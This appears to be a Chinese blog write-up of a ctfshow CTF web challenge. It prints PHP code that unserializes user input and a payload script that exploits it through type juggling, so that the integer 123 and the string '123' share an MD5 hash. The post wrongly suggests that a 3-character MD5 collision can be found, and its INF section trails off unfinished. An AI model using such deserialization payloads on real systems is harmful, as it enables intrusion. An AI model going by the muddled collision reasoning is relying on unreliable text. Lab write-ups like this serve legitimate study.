web-签到·好玩的PHP

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]);
代码分析
类 ctfshow:

类中有四个私有属性:$d, $s, $b, $ctf。

在类的析构函数 __destruct() 中,代码会检查这些属性的值,并根据条件输出/flag.txt的内容。

析构函数 __destruct():

首先将 $d, $s, $b 强制转换为字符串类型。

然后检查 $d, $s, $b 是否互不相等。

接着将 $d, $s, $b 拼接成一个字符串 $dsb。

检查 $dsb$ctf 的长度是否都小于等于3。

检查 $dsb$ctf 是否不相等。

最后检查 $dsb$ctf 的MD5哈希值是否相等。

反序列化:

通过 unserialize($_GET["dsbctf"]) 反序列化用户输入的参数 dsbctf。

目标
我们的目标是构造一个序列化的字符串,使得在反序列化后,ctfshow 类的实例满足以下条件:

$d, $s, $b 互不相等。

$dsb$ctf 的长度都小于等于3。

$dsb$ctf 不相等。

$dsb$ctf 的MD5哈希值相等。

解决方案
MD5碰撞:

我们需要找到两个不同的字符串,它们的MD5哈希值相同。由于MD5哈希碰撞的存在,这是可能的。

例如,字符串 "a" 和 "b" 的MD5哈希值不同,但我们可以找到两个不同的3字符字符串,它们的MD5哈希值相同。

构造序列化字符串:

我们需要构造一个 ctfshow 类的实例,使得 $d, $s, $b 互不相等,且 $dsb$ctf 的长度都小于等于3。

例如,我们可以选择 $d = "a", $s = "b", $b = "c",这样 $dsb = "abc"。

然后选择一个与 "abc" 不同的字符串 $ctf,使得 md5("abc") === md5($ctf)。

这里注意到可以让其类型不同而值相同进行绕过,构造 pop 链

<?php

class ctfshow {
        private $d = '1';
        private $s = '2';
        private $b = '3';
        private $ctf = 123;

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;
        }
    }

$a = new ctfshow();
echo urlencode(serialize($a));
?>

创建类ctfshow中有四个私有属性:$d='1'  $s='2' $b='3' $ctf=123

类中定义了一个析构函数 __destruct(),在对象销毁时自动调用。析构函数中将 $d, $s, $b 强制转换为字符串类型。

序列化:创建一个 ctfshow 类的实例 $a。使用 serialize() 函数将对象 $a 序列化为字符串。使用 urlencode() 对序列化后的字符串进行URL编码,以便在URL中安全传输。

 

还有一种方式:

INF 的比较行为

  • INF 与其他数值的比较行为如下:

    • INF > 任何有限数值INF 比任何有限的数值都大。

    • INF == INF:两个 INF 是相等的。

    • INF === INF:两个 INF 的类型和值都相同,因此严格相等。

    • INF 与 NaN(非数值)的比较总是返回 false

posted @ 2025-03-23 10:30  justdoIT*  阅读(238)  评论(0)    收藏  举报